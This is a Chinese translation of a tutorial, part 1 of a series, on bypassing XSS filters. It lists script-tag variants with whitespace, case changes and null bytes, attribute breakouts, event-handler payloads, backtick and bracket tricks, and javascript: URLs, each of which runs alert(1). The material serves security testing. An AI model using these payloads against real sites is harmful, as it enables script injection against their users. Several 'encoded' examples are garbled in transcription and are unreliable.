XSS繞過filter高級技術part1
在如今的web時代,XSS攻擊十分常見,針對xss攻擊的防禦也有不少,Filter就是一種用來防禦xss攻擊的最常見的手段,filter通常是採用黑名單的形式或者基於正則表達式來過濾。儘管如此,依然有很多技術可以用來繞過Filter。
基本變形
我們可以先從繞過相對簡單的filter開始。根據Filter過濾規則複雜度的不同,繞過的難易程度肯定也不同,這些簡單的過濾器還是比較容易繞過的,只要做一些基本的變形即可。
我們用到的大部分技術都是測試XSS漏洞的最簡單的payload的變形,就像下面的代碼一樣。
<script>alert(1)</script>
如果測試的參數存在xss,就會彈框顯示1.
Filter肯定會過濾這個payload,不過有時候,我們只要對payload進行一些簡單的修改,就能繞過默認的最基礎的filter。比如可以嘗試在開始的script標籤中插入一個空格或者是tab,如下所示:
<script >alert(1)</script>
<script >alert(1)</script>
當然,也可以通過對tab,換行,回車進行編碼來繞過,如下所示:
<script	>alert(1)</script>
<script
>alert(1)</script>
<script
>alert(1)</script>
對標籤進行大小寫也有可能騙過filter,如下:
<ScRipT>alert(1)</sCriPt>
還有一種方法非常有效,而且通常都能夠成功繞過,那就是插入null位元組。在xss payload的任何地方插入null位元組,有時候可以繞過filter,如下所示:
<%00script>alert(1)</script>
<script>al%00ert(1)</script>
屬性和標籤
HTML屬性提供了頁面上元素的更多信息。當我們查找XSS漏洞時,通常可以利用這些屬性來引入script標籤,從而確認是否存在xss。例如,我們以input元素為例,包含一個value的屬性,如下:
<input type="text" name="input" value="hello">
我們可以閉合value屬性的雙引號從而閉合input標籤來插入我們的XSS payload,如下:
<input type="text" name="input" value=""><script>alert(1)</script>
有時候即使使用任意的標籤名也可以繞過filter,如下:
<randomtag type="text" name="input" value="><script>alert(1)</script>
跟上面的類似,我們也可以替換標籤名和第一個屬性之間空格來測試,如下:
<input/type="text" name="input" value="><script>alert(1)</script>
<input	type="text" name="input" value="><script>alert(1)</script>
<input
type="text" name="input" value="><script>alert(1)</script>
<input
type="text" name="input" value="><script>alert(1)</script>
<input/type="text" name="input" value="><script>alert(1)</script>
改變標籤名大小寫,有時候也會有效果,如下:
<iNpUt type="text" name="input" value="><script>alert(1)</script>
null位元組的小技巧對標籤名同樣有效,我們可以嘗試在不同的位置插入null位元組,如下:
<%00input type="text" name="input" value="><script>alert(1)</script>
<inp%00ut type="text" name="input" value="><script>alert(1)</script>
這對屬性名和屬性值也同樣適用,如下:
<input t%00ype="text" name="input" value="><script>alert(1)</script>
<input type="text" name="input" value="><script>a%00lert(1)</script>
事件處理器(Event Handlers)
HTML語言也包含了事件,事件就是頁面上元素髮生的動作。事件處理器就是實現該動作的方法,通常是藉助JavaScript。事件可以由瀏覽器或者用戶自己發起,比如下面這些例子都是事件,單擊按鈕,頁面載入或者是拋出錯誤。
相關閱讀:利用這三個工具進行fuzz測試來發現xss漏洞
現在我們還是以上面的input標籤為例,我們嘗試向input標籤插入一個包含xss payload的事件,我們可以選擇任何合適的事件處理器(這裡我們選擇onsubmit)來構造payload。如果存在xss漏洞,那麼下面的代碼,將會在表單被提交時觸發彈框,如下:
<input onsubmit=alert(1)>
根據不同類型的filter,還有很多其他的事件處理器來探測xss漏洞。大部分甚至都不需要用戶交互,所以測試時使用這些事件處理器就最好不過了,如下:
<object onerror=alert(1)>
<body onactivate=alert(1)>
<body onfocusin=alert(1)>
<script onreadystatechange=alert(1)>
<input autofocus onfocus=alert(1)>
HTML5還引入了一些關於事件處理器的新的攻擊因素。比如audio,video和SVG等都可以用來觸發xss,如下:
<audio src="new.mp3" onerror=alert(1)>
<video src="new.mp4" onerror=alert(1)>
<svg width_="200" height="100" onload=alert(1)>
新的標準也允許在結束標籤內使用事件處理器,如下:
</a onfocus=alert(1)>
分隔符和括弧
分隔符是用於分隔文本字元串或者其他數據流的一個或多個字元。在挖xss漏洞時,巧妙的使用分隔符非常有效。在HTML中,我們經常使用空格來分隔屬性和它的值。還有的時候,只要使用一個單引號或者雙引號作為分隔符就可以繞過filter了,如下:
<img onerror="alert(1)"src=x>
<img onerror=alert(1)src=x>
對分隔符進行編碼也可以用來繞過防禦,如下:
<img onerror="alert(1)"src=x>
<img onerror='alert(1)'src=x>
重音符或者是反引號也是繞過filter的一種不錯的技巧,如下:
<img onerror=`alert(1)`src=x>
編碼版本如下:
<img onerror=`alert(1)`src=x>
Filter有時候會過濾某些關鍵詞,比如以「on」開頭的事件處理器,以此來防禦此類xss攻擊。
如果我們把屬性的位置換到前面,filter無法識別反引號,會將它視為不是以「on」開頭的單獨的屬性,這樣也就可以有效繞過filter了,如下:
<img src=`x`onerror=alert(1)>
跟分隔符一樣,尖括弧也可以利用來繞過filter。在某些情況下,filter僅僅只會查找開始括弧和閉合括弧,然後將尖括弧裡面的內容與惡意標籤黑名單比較。通過使用多個尖括弧,有時候可以騙過filter接受後面的代碼。再使用雙斜線注釋掉後面的閉合標籤,所以也不會報錯,如下:
<<script>alert(1)//<</script>
繞過filter之後就變成了下面這樣:
<script>alert(1)</script>
還有時候在結束的地方使用開尖括弧也有可能繞過filter,如下:
<input onsubmit=alert(1)<
在某些情況下,應用程序會將不常見的字元轉為最為接近的字元,基於它們之間相似的特徵。比如,我們可以使用雙角引號來替換傳統的開始尖括弧和結束尖括弧,應用程序在執行時可能會將它們轉化成正確的括弧,這樣就可以接收有效的輸入值而繞過filter了,如下:
?input onsubmit=alert(1)?
當然,跟前面一樣,編碼也是有效的,如下:
®input onsubmit=alert(1)¯
偽協議
瀏覽器可以接受內聯的JavaScript代碼出現在URL中或者是出現在任何值為URL的屬性中。
VBScript是一種基於Visual Basic的腳本語言,在老版本的IE中,也曾經使用過這種偽協議的攻擊方式。這些偽協議為我們提供了額外的xss攻擊方法。
例如,我們來看一下href這個屬性,該HTML屬性指定一個URL鏈接地址,通常是為某些文本增加超鏈接,如下:
<a href="https://www.google.com">Click Here</a>
我們可以通過JavaScript偽協議來注入代碼並觸發xss漏洞,如下:
<a href="javascript:alert(1)">Click Here</a>
其他值為URL的屬性也都可以加以利用。(請注意一點:雖然屬性值添加雙引號是推薦的做法,但是並不一定非要雙引號),如下:
<img src=javascript:alert(1)>
<form action=javascript:alert(1)>
<object data=javascript:alert(1)>
<button formaction=javascript:alert(1)>
<video src=javascript:alert(1)>
敬請期待更多filter繞過技巧
本文到現在為止,我們已經探討了多種繞過filter的方法,從插入空格,改變大小寫的基本變形,到注入屬性和事件處理器來欺騙filter接受非正常的字元比如反引號和雙角尖括弧等。接下來我們將深入講解更多關於JavaScript的技巧來繞過filter,還有關於繞過輸入過濾和長度限制的技巧。
不要走開,馬上回來:繞過xss filter的高級技術part2。
本文翻譯自:https://null-byte.wonderhowto.com/how-to/advanced-techniques-bypass-defeat-xss-filters-part-1-0190257/如若轉載,請註明原文地址: http://www.4hou.com/web/15212.html 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀: